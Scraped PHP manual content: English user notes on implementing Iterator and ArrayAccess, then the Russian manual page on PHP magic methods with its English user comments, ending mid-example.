https://bugs.php.net/bug.php?id=49369
jille at hexon dot cx 15-May-2012 12:29
Please note that if you implement your iterator this way instead of with an IteratorAggregate you can not nest foreach-loops. This is because when the inner-loop is done the cursor is beyond the last element, then the outer-loop asks for the next element and finds the cursor beyond the last element as the innter-loop left it there.

<?php
 // Wont work!
foreach($collection as $a) {
  foreach($collection as $b) {
    var_dump($a->someFunc($b));
  }
}
?>
hlegius at gmail dot com 15-Oct-2008 05:06
Iterator interface usign key() next() rewind() is MORE slow than extends ArrayIterator with ArrayIterator::next(), ArrayIterator::rewind(), etc.,
wavetrex A(nospam)T gmail DOT com 01-Mar-2008 02:50
By reading the posts below I wondered if it really is impossible to make an ArrayAccess implementation really behave like a true array ( by being multi level )

Seems like it's not impossible. Not very preety but usable

<?php

class ArrayAccessImpl implements ArrayAccess {

  private $data = array();

  public function offsetUnset($index) {}

  public function offsetSet($index, $value) {
//    echo ("SET: ".$index."<br>");

    if(isset($data[$index])) {
        unset($data[$index]);
    }

    $u = &$this->data[$index];
    if(is_array($value)) {
        $u = new ArrayAccessImpl();
        foreach($value as $idx=>$e)
            $u[$idx]=$e;
    } else
        $u=$value;
  }

  public function offsetGet($index) {
//    echo ("GET: ".$index."<br>");

    if(!isset($this->data[$index]))
        $this->data[$index]=new ArrayAccessImpl();

    return $this->data[$index];
  }

  public function offsetExists($index) {
//    echo ("EXISTS: ".$index."<br>");

    if(isset($this->data[$index])) {
        if($this->data[$index] instanceof ArrayAccessImpl) {
            if(count($this->data[$index]->data)>0)
                return true;
            else
                return false;
        } else
            return true;
    } else
        return false;
  }

}

echo "ArrayAccess implementation that behaves like a multi-level array<hr />";

$data = new ArrayAccessImpl();

$data['string']="Just a simple string";
$data['number']=33;
$data['array']['another_string']="Alpha";
$data['array']['some_object']=new stdClass();
$data['array']['another_array']['x']['y']="LOL @ Whoever said it can't be done !";
$data['blank_array']=array();

echo "'array' Isset? "; print_r(isset($data['array'])); echo "<hr />";
echo "<pre>"; print_r($data['array']['non_existent']); echo "</pre>If attempting to read an offset that doesn't exist it returns a blank object! Use isset() to check if it exists!<br>";
echo "'non_existent' Isset? "; print_r(isset($data['array']['non_existent'])); echo "<br />";
echo "<pre>"; print_r($data['blank_array']); echo "</pre>A blank array unfortunately returns similar results :(<br />";
echo "'blank_array' Isset? "; print_r(isset($data['blank_array'])); echo "<hr />";
echo "<pre>"; print_r($data); echo "</pre> (non_existent remains in the structure. If someone can help to solve this I'll appreciate it)<hr />";

echo "Display some value that exists: ".$data['array']['another_string'];

?>

(in the two links mentioned below by artur at jedlinski... they say you can't use references, so I didn't used them.
My implementation uses recursive objects)

If anyone finds a better (cleaner) sollution, please e-mail me.
Thanks,
Wave.
doctorrock83_at_gmail.com 18-May-2007 03:10
Please remember that actually the only PHP iterating structure that uses Iterator is foreach().

Any each() or list() applied to an Object implementing iterator will not provide the expected result
artur at jedlinski dot pl 22-Apr-2007 12:38
One should be aware that ArrayAccess functionality described by "just_somedood at yahoo dot com" below is currently broken and thus it's pretty unusable.

Read following links to find more:
http://bugs.php.net/bug.php?id=34783
http://bugs.php.net/bug.php?id=32983
rune at zedeler dot dk 27-Feb-2007 08:00
The iterator template from knj at aider dot dk does not yield correct results.
If you do
<?
reset($a);
next($a);
echo current($a);
?>
where $a is defined over the suggested template, then the first element will be output, not the second, as expected.
baldurien at bbnwn dot eu 09-Aug-2006 06:01
Beware of how works iterator in PHP if you come from Java!

In Java, iterator works like this :
<?php
interface Iterator<O> {
  boolean hasNext();
  O next();
  void remove();
}
?>
But in php, the interface is this (I kept the generics and type because it's easier to understand)

<?php
interface Iterator<O> {
  boolean valid();
  mixed key();
  O current();
  void next();
  void previous();
  void rewind();
}
?>

1. valid() is more or less the equivalent of hasNext()
2. next() is not the equivalent of java next(). It returns nothing, while Java next() method return the next object, and move to next object in Collections. PHP's next() method will simply move forward.

Here is a sample with an array, first in java, then in php :

<?php
class ArrayIterator<O> implements Iterator<O> {
  private final O[] array;
  private int index = 0;

  public ArrayIterator(O[] array) {
     this.array = array;
  }

  public boolean hasNext() {
    return index < array.length;
  }

  public O next() {
     if ( !hasNext())
       throw new NoSuchElementException('at end of array');
     return array[index++];
  }

  public void remove() {
    throw new UnsupportedOperationException('remove() not supported in array');
  }
}
?>

And here is the same in php (using the appropriate function) :

<?php
/**
 * Since the array is not mutable, it should use an internal
 * index over the number of elements for the previous/next
 * validation.
 */
class ArrayIterator implements Iterator {
  private $array;
  public function __construct($array) {
    if ( !is_array($array))
      throw new IllegalArgumentException('argument 0 is not an array');
    $this->array = array;
    $this->rewind();
  }
  public function valid() {
    return current($this->array) !== false;
    // that's the bad method (should use arrays_keys, + index)
  }
  public function key() {
     return key($this->array);
  }
  public function current() {
    return current($this->array);
  }
  public function next() {
    if ( $this->valid())
      throw new NoSuchElementException('at end of array');
    next($this->array);
  }
  public function previous()  {
    // fails if current() = first item of array
    previous($this->array);
  }
  public function rewind() {
     reset($this->array);
  }
}
?>

The difference is notable : don't expect next() to return something like in Java, instead use current(). This also means that you have to prefetch your collection to set the current() object. For instance, if you try to make a Directory iterator (like the one provided by PECL), rewind should invoke next() to set the first element and so on. (and the constructor should call rewind())

Also, another difference :

<?php
class ArrayIterable<O> implements Iterable<O> {
  private final O[] array;

  public ArrayIterable(O[] array) {
     this.array = array;
  }

  public Iterator<O> iterator() {
     return new ArrayIterator(array);
  }
}
?>

When using an Iterable, in Java 1.5, you may do such loops :

<?php
for ( String s : new ArrayIterable<String>(new String[] {"a", "b"})) {
  ...
}
?>
Which is the same as :

<?php
Iterator<String> it = new ArrayIterable<String>(new String[] {"a", "b"});
while (it.hasNext()) {
  String s = it.next();
  ...
}
?>
While in PHP it's not the case :
<?php
foreach ( $iterator as $current ) {
  ...
}
?>
Is the same as :

<?php
for ( $iterator->rewind(); $iterator->valid(); $iterator->next()) {
  $current = $iterator->current();
  ...
}
?>

(I think we may also use IteratorAggregate to do it like with Iterable).

Take that in mind if you come from Java.

I hope this explanation is not too long...
chad 0x40 herballure 0x2e com 05-May-2006 06:46
The example code given for valid() will break if the array contains a FALSE value. This code prints out a single "bool(true)" and exits the loop when it gets to the FALSE:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(current($A) !== FALSE) {
  var_dump(current($A));
  next($A);
}
?>

Instead, the key() function should be used, since it returns NULL only at the end of the array. This code displays all four elements and then exits:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(!is_null(key($A))) {
  var_dump(current($A));
  next($A);
}
?>
markushe at web dot de 06-Aug-2005 11:05
Just something i noticed:
It seems, that when you are implementing the interface Iterator, yout method key() has to return a string or integer.

I was trying to return a object an got this error:
Illegal type returned from MyClass::key()
just_somedood at yahoo dot com 27-Jun-2005 12:20
To clarify on php at moechofe's post, you CAN use the SPL to overide the array operator for a class.  This, with the new features of object, and autoloading (among a buch of other things) has me completely sold on PHP5.  You can also find this information on the SPL portion of the manual, but I'll post it here as well so it isn't passed up.  The below Collection class will let you use the class as an array, while also using the foreach iterator:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
    public $objectArray = Array();
    //**these are the required iterator functions
    function offsetExists($offset)
    {
        if(isset($this->objectArray[$offset]))  return TRUE;
        else return FALSE;
    }

    function & offsetGet($offset)
    {
        if ($this->offsetExists($offset))  return $this->objectArray[$offset];
        else return (false);
    }

    function offsetSet($offset, $value)
    {
        if ($offset)  $this->objectArray[$offset] = $value;
        else  $this->objectArray[] = $value;
    }

    function offsetUnset($offset)
    {
        unset ($this->objectArray[$offset]);
    }

    function & getIterator()
    {
        return new ArrayIterator($this->objectArray);
    }
    //**end required iterator functions

    public function doSomething()
    {
        echo "I'm doing something";
    }
}

?>

I LOVE the new SPL stuff in PHP!  An example of usage is below:

<?php
class Contact
{
    protected $name = NULL;

    public function set_name($name)
    {
        $this->name = $name;
    }

    public function get_name()
    {
        return ($this->name);
    }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This makes code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
PrzemekG_ at poczta dot onet dot pl 27-May-2005 04:20
If you want to do someting like this:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>
you must return values by reference in your iterator object:
<?php
class MyObject implements Iterator
{
/* ...... other iterator functions ...... */
/* return by reference */
public function &current()
{
   return $something;
}
?>

This won't change values:
<?php
foreach($MyObject as $key => $value)
   $value = 'new '.$value;
?>

This will change values:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>

I think this should be written somewhere in the documentations, but I couldn't find it.
elias at need dot spam 10-Apr-2005 03:15
The MyIterator::valid() method above ist bad, because it
breaks on entries with 0 or empty strings, use key() instead:

<?php
public function valid()
{
    return ! is_null(key($this->var));
}
?>

read about current() drawbacks:
http://php.net/current
strrev('ed.relpmeur@ekneos'); 01-Mar-2005 02:25
Use the SPL ArrayAccess interface to call an object as array:

http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html
phpnet at nicecupofteaandasitdown dot com 22-Feb-2005 08:09
You should be prepared for your iterator's current method to be called before its next method is ever called. This certainly happens in a foreach loop. If your means of finding the next item is expensive you might want to use something like this

private $item;

function next() {
    $this->item = &$this->getNextItem();
    return $this->item;
}

public function current() {
     if(!isset($this->item)) $this->next();
    return $this->item;
}
knj at aider dot dk 18-Dec-2004 07:19
if you in a string define classes that implements IteratorAggregate.
you cant use the default;
<?
...
public function getIterator() {
       return new MyIterator(\\$this-><What ever>);
}
..
?>
at least not if you want to use eval(<The string>).
You have to use:
<?
...
public function getIterator() {
      \\$arrayObj=new ArrayObject(\\$this-><What ever>);
      return \\$arrayObj->getIterator();
}
...
?>


Магические методы

Магические методы - это специальные методы, которые переопределяют действие PHP по умолчанию, когда над объектом выполняются определённые действия.

Предостережение

Все имена методов, начинающиеся с __, зарезервированы PHP. Не рекомендуется использовать имена методов с __ в PHP, если вы не хотите использовать соответствующую магическую функциональность.

Следующие названия методов считаются магическими:
__construct(),
__destruct(),
__call(),
__callStatic(),
__get(),
__set(),
__isset(),
__unset(),
__sleep(),
__wakeup(),
__serialize(),
__unserialize(),
__toString(),
__invoke(),
__set_state(),
__clone() и
__debugInfo()

Внимание

Все магические методы, за исключением
__construct(),
__destruct() и
__clone(),
ДОЛЖНЫ быть объявлены как public,
в противном случае будет вызвана ошибка уровня E_WARNING.
До PHP 8.0.0 для магических методов
__sleep(),
__wakeup(),
__serialize(),
__unserialize() и
__set_state()
не выполнялась проверка.

Внимание

Если объявления типа используются в определении магического метода, они должны быть идентичны сигнатуре, описанной в этом документе. В противном случае выдаётся фатальная ошибка. До PHP 8.0.0 диагностические сообщения не отправлялись. Однако __construct() и __destruct() не должны объявлять возвращаемый тип; в противном случае выдаётся фатальная ошибка.

__sleep() и __wakeup()

public __sleep(): array
public __wakeup(): void

Функция serialize() проверяет, присутствует ли в классе метод с магическим именем __sleep(). Если это так, то этот метод выполняется до любой операции сериализации. Он может очистить объект и должен возвращать массив с именами всех переменных этого объекта, которые должны быть сериализованы. Если метод ничего не возвращает, то сериализуется null и выдаётся предупреждение E_NOTICE.

Замечание:

Недопустимо возвращать в __sleep() имена закрытых свойств в родительском классе. Это приведёт к ошибке уровня E_NOTICE. Вместо этого вы можете использовать __serialize().

Замечание:

Начиная с PHP 8.0.0, возврат значения, не являющегося массивом, из __sleep() приводит к предупреждению. Ранее выдавалось уведомление.

Предполагаемое использование __sleep() состоит в завершении работы над данными, ждущими обработки или других подобных задач очистки. Кроме того, этот метод может быть полезен, когда есть очень большие объекты, которые нет необходимости полностью сохранять.

С другой стороны, функция unserialize() проверяет наличие метода с магическим именем __wakeup(). Если она имеется, эта функция может восстанавливать любые ресурсы, которые может иметь объект.

Предполагаемое использование __wakeup() заключается в восстановлении любых соединений с базой данных, которые могли быть потеряны во время операции сериализации и выполнения других операций повторной инициализации.

Пример #1 Сериализация и десериализация

<?php
class Connection
{
protected $link;
private $dsn, $username, $password;

public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}

private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}

public function __sleep()
{
return array('dsn', 'username', 'password');
}

public function __wakeup()
{
$this->connect();
}
}?>

__serialize() и __unserialize()

public __serialize(): array
public __unserialize(array $data): void

serialize() проверяет, есть ли в классе функция с магическим именем __serialize(). Если да, функция выполняется перед любой сериализацией. Она должна создать и вернуть ассоциативный массив пар ключ/значение, которые представляют сериализованную форму объекта. Если массив не возвращён, будет выдано TypeError.

Замечание:

Если и __serialize() и __sleep() определены в одном и том же объекте, будет вызван только метод __serialize(). __sleep() будет игнорироваться. Если объект реализует интерфейс Serializable, метод serialize() интерфейса будет игнорироваться, а вместо него будет использован __serialize().

Предполагаемое использование __serialize() заключается в определении удобного для сериализации произвольного представления объекта. Элементы массива могут соответствовать свойствам объекта, но это не обязательно.

И наоборот, unserialize() проверяет наличие магической функции __unserialize(). Если функция присутствует, ей будет передан восстановленный массив, который был возвращён из __serialize(). Затем он может восстановить свойства объекта из этого массива соответствующим образом.

Замечание:

Если и __unserialize() и __wakeup() определены в одном и том же объекте, будет вызван только метод __unserialize(). __wakeup() будет игнорироваться.

Замечание:

Функция доступна с PHP 7.4.0.

Пример #2 Сериализация и десериализация

<?php
class Connection
{
protected $link;
private $dsn, $username, $password;

public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}

private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}

public function __serialize(): array
{
return [
'dsn' => $this->dsn,
'user' => $this->username,
'pass' => $this->password,
];
}

public function __unserialize(array $data): void
{
$this->dsn = $data['dsn'];
$this->username = $data['user'];
$this->password = $data['pass'];

$this->connect();
}
}?>

__toString()

public __toString(): string

Метод __toString() позволяет классу решать, как он должен реагировать при преобразовании в строку. Например, что вывести при выполнении echo $obj;.

Внимание

Начиная с PHP 8.0.0, возвращаемое значение следует стандартной семантике типа PHP, что означает, что оно будет преобразовано в строку (string), если возможно, и если strict typing отключён.

Объект, реализующий Stringable не будет приниматься объявлением типа string, если включена строгая типизация. Если такое поведение необходимо, то объявление типа должно принимать интерфейс Stringable и строку (string) с помощью объединения типов.

Начиная с PHP 8.0.0, любой класс, содержащий метод __toString(), также будет неявно реализовывать интерфейс Stringable и, таким образом, будет проходить проверку типа для этого интерфейса В любом случае рекомендуется явно реализовать интерфейс.

В PHP 7.4 возвращаемое значение ДОЛЖНО быть строкой (string), иначе выдаётся Error.

До PHP 7.4.0 возвращаемое значение должно быть строкой (string), в противном случае выдаётся фатальная ошибка E_RECOVERABLE_ERROR. is emitted.

Внимание

Нельзя выбросить исключение из метода __toString() до PHP 7.4.0. Это приведёт к фатальной ошибке.

Пример #3 Простой пример

<?php
// Объявление простого класса
class TestClass
{
public $foo;

public function __construct($foo)
{
$this->foo = $foo;
}

public function __toString()
{
return $this->foo;
}
}

$class = new TestClass('Привет');
echo $class;
?>

Результат выполнения данного примера:

Привет

__invoke()

__invoke( ...$values): mixed

Метод __invoke() вызывается, когда скрипт пытается выполнить объект как функцию.

Пример #4 Использование __invoke()

<?php
class CallableClass
{
public function __invoke($x)
{
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

Результат выполнения данного примера:

int(5)
bool(true)

Пример #5 Пример использования __invoke()

<?php
class Sort
{
private $key;

public function __construct(string $key)
{
$this->key = $key;
}

public function __invoke(array $a, array $b): int
{
return $a[$this->key] <=> $b[$this->key];
}
}

$customers = [
['id' => 1, 'first_name' => 'John', 'last_name' => 'Do'],
['id' => 3, 'first_name' => 'Alice', 'last_name' => 'Gustav'],
['id' => 2, 'first_name' => 'Bob', 'last_name' => 'Filipe']
];

// сортировка клиентов по имени
usort($customers, new Sort('first_name'));
print_r($customers);

// сортировка клиентов по фамилии
usort($customers, new Sort('last_name'));
print_r($customers);
?>

Результат выполнения данного примера:

Array
(
    [0] => Array
        (
            [id] => 3
            [first_name] => Alice
            [last_name] => Gustav
        )

    [1] => Array
        (
            [id] => 2
            [first_name] => Bob
            [last_name] => Filipe
        )

    [2] => Array
        (
            [id] => 1
            [first_name] => John
            [last_name] => Do
        )

)
Array
(
    [0] => Array
        (
            [id] => 1
            [first_name] => John
            [last_name] => Do
        )

    [1] => Array
        (
            [id] => 2
            [first_name] => Bob
            [last_name] => Filipe
        )

    [2] => Array
        (
            [id] => 3
            [first_name] => Alice
            [last_name] => Gustav
        )

)

__set_state()

static __set_state(array $properties): object

Этот статический метод вызывается для тех классов, которые экспортируются функцией var_export().

Единственным параметром этого метода является массив, содержащий экспортируемые свойства в виде ['property' => value, ...].

Пример #6 Использование __set_state()

<?php

class A
{
public $var1;
public $var2;

public static function __set_state($an_array)
{
$obj = new A;
$obj->var1 = $an_array['var1'];
$obj->var2 = $an_array['var2'];
return $obj;
}
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

$b = var_export($a, true);
var_dump($b);
eval('$c = ' . $b . ';');
var_dump($c);
?>

Результат выполнения данного примера:

string(60) "A::__set_state(array(
   'var1' => 5,
   'var2' => 'foo',
))"
object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

Замечание: При экспорте объекта var_export() не проверяет, реализует ли класс объекта метод __set_state(), поэтому повторный импорт объектов приведёт к исключению Error, если метод __set_state() не реализован. В частности, это относится к некоторым внутренним классам. Необходимость проверки, реализует ли импортируемый класс метод __set_state(), полностью лежит на разработчике.

__debugInfo()

__debugInfo(): array

Этот метод вызывается функцией var_dump(), когда необходимо вывести список свойств объекта. Если этот метод не определён, тогда будут выведены все свойства объекта c модификаторами public, protected и private.

Пример #7 Использование __debugInfo()

<?php
class C {
private $prop;

public function __construct($val) {
$this->prop = $val;
}

public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
}
}

var_dump(new C(42));
?>

Результат выполнения данного примера:

object(C)#1 (1) {
  ["propSquared"]=>
  int(1764)
}

User Contributed Notes

tyler at nighthound dot us 18-Jun-2023 01:26
Please note that as of PHP 8.2 implementing __serialize() has no control over the output of json_encode(). you still have to implement JsonSerializable.
vali dot dr at gmail dot com 03-Feb-2021 07:18
It should be noted that if you unset a class typed property and then try to access it,  __get will be called. But it MUST return the original type.

https://wiki.php.net/rfc/typed_properties_v2#overloaded_properties
ctamayo at sitecrafting dot com 18-Aug-2020 06:10
Due to a bug in PHP <= 7.3, overriding the __debugInfo() method from SPL classes is silently ignored.

<?php

class Debuggable extends ArrayObject {
  public function __debugInfo() {
    return ['special' => 'This should show up'];
  }
}

var_dump(new Debuggable());

// Expected output:
// object(Debuggable)#1 (1) {
//   ["special"]=>
//   string(19) "This should show up"
// }

// Actual output:
// object(Debuggable)#1 (1) {
//   ["storage":"ArrayObject":private]=>
//   array(0) {
//   }
// }

?>

Bug report: https://bugs.php.net/bug.php?id=69264
daniel dot peder at gmail dot com 30-Apr-2018 09:29
http://sandbox.onlinephpfunctions.com/code/4d2cc3648aed58c0dad90c7868173a4775e5ba0c

IMHO a bug or need feature change

providing a object as a array index doesn't try to us __toString() method so some volatile object identifier is used to index the array, which is breaking any persistency. Type hinting solves that, but while other than "string" type hinting doesn't work on ob jects, the automatic conversion to string should be very intuitive.

PS: tried to submit bug, but withot patch the bugs are ignored, unfortunately, I don't C coding

<?php

class shop_product_id {

    protected $shop_name;
    protected $product_id;

    function __construct($shop_name,$product_id){
        $this->shop_name = $shop_name;
        $this->product_id = $product_id;
    }

    function __toString(){
        return $this->shop_name . ':' . $this->product_id;
    }
}

$shop_name = 'Shop_A';
$product_id = 123;
$demo_id = $shop_name . ':' . $product_id;
$demo_name = 'Some product in shop A';

$all_products = [ $demo_id => $demo_name ];
$pid = new shop_product_id( $shop_name, $product_id );

echo "with type hinting: ";
echo ($demo_name === $all_products[(string)$pid]) ? "ok" : "fail";
echo "\n";

echo "without type hinting: ";
echo ($demo_name === $all_products[$pid]) ?  "ok" : "fail";
echo "\n";
kguest at php dot net 30-May-2017 01:27
__debugInfo  is also utilised when calling print_r on an object:

$ cat test.php
<?php
class FooQ {

     private $bar = '';

     public function __construct($val) {

         $this->bar = $val;
     }

     public function __debugInfo()
     {
         return ['_bar' => $this->bar];
     }
}
$fooq = new FooQ("q");
print_r ($fooq);

$ php test.php
FooQ Object
(
    [_bar] => q
)
$
smiley at HELLOSPAMBOT dot chillerlan dot net 09-Jan-2016 04:30
A simple API wrapper, using __call() and the PHP 5.6 "..." token.
http://php.net/manual/functions.arguments.php#functions.variable-arg-list

<?php
namespace Example;

use Exception;
use ReflectionClass;
use SomeApiInterface;
use SomeHttpClient;
use SomeEndpointHandler;

/**
 * Class SomeApiWrapper
 *
 * @method SomeEndpointHandler method1(MethodParams $param1)
 * @method SomeEndpointHandler method2(MethodParams $param1, AuthParams $param2 = null)
 * ...
 * @method SomeEndpointHandler method42()
 */
class SomeApiWrapper{

    /**
     * @var \SomeHttpClient
     */
    private $httpClient;

    /**
     * @var array
     */
    private $methodMap = [];

    /**
     * SomeApiWrapper constructor.
     */
    public function __construct(){
        $this->mapApiMethods();
        $this->httpClient = new SomeHttpClient();
    }

    /**
     * The API is flat and has ~ 150 endpoints, all of which take optional parameters
     * from up to 3 groups (method params, authentication, filters). Instead of
     * implementing the interface and adding countless stubs that have basically
     * the same signature, i just map its methods here and use __call().
     */
    private function mapApiMethods(){
        $reflectionClass = new ReflectionClass(SomeApiInterface::class);

        foreach($reflectionClass->getMethods() as $m){
            $this->methodMap[] = $m->name;
        }
    }

    /**
     * Thanks to the PHP 5.6+ "..." token, there's no hassle with the arguments anymore
     * (ugh, bad pun). Just hand the method parameters into the endpoint handler,
     * along with other mandatory params - type hints are your friends.
     *
     * It's magic!
     *
     * @param string $method
     * @param array  $arguments
     *
     * @return \SomeEndpointHandler
     * @throws \Exception
     */
    public function __call($method, $arguments){

        if(in_array($method, $this->methodMap)){
            return new SomeEndpointHandler($this->httpClient, $method, ...$arguments);
        }

        throw new Exception('Endpoint "'.$method.'" does not exist');
    }

}
staff at pro-unreal dot de 16-May-2013 06:08
To avoid instanciating the parent instead of the inherited class for __set_state() as reported by jsnell, you could use late static binding introduced in PHP 5.3:

<?php
class A {
    public static function __set_state($data) {
        return new static();
    }
}

class B extends A {
}

$instance = new B();
eval('$test = ' . var_export($instance, true) . ';');
var_dump($test);
// -> object(B)#2 (0) {
// }
?>
daan dot broekhof at gmail dot com 14-Feb-2012 10:54
Ever wondered why you can't throw exceptions from __toString()? Yeah me too.

Well now you can! This trick allows you to throw any type of exception from within a __toString(), with a full & correct backtrace.

How does it work? Well PHP __toString() handling is not as strict in every case: throwing an Exception from __toString() triggers a fatal E_ERROR, but returning a non-string value from a __toString() triggers a non-fatal E_RECOVERABLE_ERROR.
Add a little bookkeeping, and can circumvented this PHP deficiency!
(tested to work PHP 5.3+)

<?php

set_error_handler(array('My_ToStringFixer', 'errorHandler'));
error_reporting(E_ALL | E_STRICT);

class My_ToStringFixer
{
    protected static $_toStringException;

    public static function errorHandler($errorNumber, $errorMessage, $errorFile, $errorLine)
    {
        if (isset(self::$_toStringException))
        {
            $exception = self::$_toStringException;
            // Always unset '_toStringException', we don't want a straggler to be found later if something came between the setting and the error
            self::$_toStringException = null;
            if (preg_match('~^Method .*::__toString\(\) must return a string value$~', $errorMessage))
                throw $exception;
        }
        return false;
    }

    public static function throwToStringException($exception)
    {
        // Should not occur with prescribed usage, but in case of recursion: clean out exception, return a valid string, and weep
        if (isset(self::$_toStringException))
        {
            self::$_toStringException = null;
            return '';
        }

        self::$_toStringException = $exception;

        return null;
    }
}

class My_Class
{
    public function doComplexStuff()
    {
        throw new Exception('Oh noes!');
    }

    public function __toString()
    {
        try
        {
            // do your complex thing which might trigger an exception
            return $this->doComplexStuff();
        }
        catch (Exception $e)
        {
            // The 'return' is required to trigger the trick
            return My_ToStringFixer::throwToStringException($e);
        }
    }
}

$x = new My_Class();

try
{
    echo $x;
}
catch (Exception $e)
{
    echo 'Caught Exception! : '. $e;
}
?>
osbertv at yahoo dot com 29-Dec-2011 09:42
Invoking a class inside a class results in an error.

<?php
class A
{
    public function __invoke()
    {
        echo "Invoking A() Class";
    }
}

class B
{
    public $a;

    public function __construct()
    {
        $this->a = new A();
    }

    public function __invoke()
    {
        echo "Invoking B() Class";
    }
}

$a = new A();
$b = new B();
$a();
$b();
$b->a();

?>

returns
Invoking B() Class
PHP Fatal error:  Call to undefined method B::a()
Wesley 25-May-2011 12:10
Warning __toString can be triggerd more then one time

<?php
if(strstr(substr($obj,0,1024), 'somestuff')
    echo $obj;
return 'missing somestuff at the start, create container!';

substr() will trigger a __toString aswell as echo $obj;
?>

wich cause a performance issue since it will gather all data twice.

what i used as a hotfix:

<?php
__toString(){
  if(null === $this->sToString)
     $this->sToString = $this->_show();
  return $this->sToString;
}
?>
Anonymous 24-Jul-2010 07:41
Concerning __set() with protected/private/overloaded properties, the behavior might not be so intuitive without knowing some underlying rules.  Consider this test object for the following examples...

<?php
class A {
    protected $test_int = 2;
    protected $test_array = array('key' => 'test');
    protected $test_obj;

    function __construct() {
        $this->test_obj = new stdClass();
        }

    function __get($prop) {
        return $this->$prop;
        }

    function __set($prop, $val) {
        $this->$prop = $val;
        }
    }

$a = new A();

?>

Combined Operators (.=, +=, *=, etc): you must also define a companion __get() method to grant write -and- read access to the property.  Remember, "$x += $y" is shorthand for "$x = $x + $y".  In other words, "__set($x, (__get($x) + $y))".

Properties that are Arrays: attempting to set array values like "$a->test_array[] = 'asdf';" from outside this object will result in an "Indirect modification of overloaded property" notice and the operation completely ignored.  You can't use '[]' for array value assignment in this context (with the exception only if you made __get() return by reference, in which case, it would work fine and bypass the __set() method altogether).  You can work around this doing something like unioning the array instead:

<?php

$a->test_array[] = 'asdf'; // notice given and ignored unless __get() was declared to return by reference
$a->test_array += array(1 => 'asdf'); // to add a key/value
$a->test_array = array("key" => 'asdf') + $a->test_array; // to overwrite a  key/value.

?>

Properties that are Objects: as long as you have that __get() method, you can freely access and alter that sub object's own properties, bypassing __set() entirely.  Remember, objects are assigned and passed by reference naturally.

<?php

$a->test_obj->prop = 1; // fine if $a did not have a set method declared.

?>

All above tested in 5.3.2.
rudie-de-hotblocks at osu1 dot php dot net 09-Apr-2009 06:35
Note also that the constructor is executed also, and before __set_state(), making this magic function less magic, imho, (except for the ability to assign private members).
jsnell at e-normous dot com 03-Dec-2008 02:01
Be very careful to define __set_state() in classes which inherit from a parent using it, as the static __set_state() call will be called for any children.  If you are not careful, you will end up with an object of the wrong type.  Here is an example:

<?php
class A
{
    public $var1;

    public static function __set_state($an_array)
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        return $obj;
    }
}

class B extends A {
}

$b = new B;
$b->var1 = 5;

eval('$new_b = ' . var_export($b, true) . ';');
var_dump($new_b);
/*
object(A)#2 (1) {
  ["var1"]=>
  int(5)
}
*/
?>
jon at webignition dot net 03-Oct-2008 07:26
The __toString() method is extremely useful for converting class attribute names and values into common string representations of data (of which there are many choices). I mention this as previous references to __toString() refer only to debugging uses.

I have previously used the __toString() method in the following ways:

 - representing a data-holding object as:
   - XML
   - raw POST data
   - a GET query string
   - header name:value pairs

 - representing a custom mail object as an actual email (headers then body, all correctly represented)

When creating a class, consider what possible standard string representations are available and, of those, which would be the most relevant with respect to the purpose of the class.

Being able to represent data-holding objects in standardised string forms makes it much easier for your internal representations of data to be shared in an interoperable way with other applications.
Anonymous 31-May-2008 04:24
Serializing objects is problematic with references. This is solved redefining the __sleep() magic method. This is also problematic when parent class has private variables since the parent object is not accessible nor its private variables from within the child object.

I found a solution that seems working for classes that implements this __sleep() method, and for its subclasses. Without more work in subclasses. The inheritance system does the trick.

Recursively __sleep() call parent' __sleep() and return the whole array of variables of the object instance to be serialized.

<?php
class foo {
}

class a {
  private $var1;

  function __construct(foo &$obj = NULL) {
    $this->var1 = &$obj;
  }

  /** Return its variables array, if its parent exists and the __sleep method is accessible, call it and push the result into the array and return the whole thing. */
  public function __sleep() {
    $a = array_keys(get_object_vars(&$this));
    if (method_exists(parent, '__sleep')) {
      $p = parent::__sleep();
      array_push($a, $p);
    };
    return $a;
  }
}

class b extends a {
  function __construct(foo &$obj = NULL) {
    parent::__construct($obj);
  }
}

session_start();
$myfoo = &new foo();
$myb = &new b($myfoo);
$myb = unserialize(serialize(&$myb));
?>

This should work, I haven't tested deeper.
yanleech at gmail dot com 10-May-2008 06:24
Maybe we can using unserialize() & __wakeup() instead "new" when creating a new instance of class.

Consider following codes:

class foo
{
    static public $WAKEUP_STR = 'O:3:"foo":0:{}';
    public function foo(){}
    public function bar(){}
}

$foo = unserialize(foo::$WAKEUP_STR);
dhuseby domain getback tld com 29-Feb-2008 06:22
The above hint for using array_keys((array)$obj) got me investigating how to get __sleep to really work with object hierarchies.

With PHP 5.2.3, If you want to serialize an object that is part of an object hierarchy and you want to selectively serialize members (public, private, and protected) by manually specifying the array of members, there are a few simple rules for naming members that you must follow:

1. public members should be named using just their member name, like so:

<?php
class Foo {
    public $bar;

    public function __sleep() {
        return array("bar");
    }
}
?>

2. protected members should be named using "\0" . "*" . "\0" . member name, like so:

<?php
class Foo {
    protected $bar;

    public function __sleep() {
        return array("\0*\0bar");
    }
}
?>

3. private members should be named using "\0" . class name . "\0" . member name, like so:

<?php
class Foo {
    private $bar;

    public function __sleep() {
        return array("\0Foo\0bar");
    }
}
?>

So with this information let us serialize a class hierarchy correctly:

<?php

class Base {
    private $foo = "foo_value";
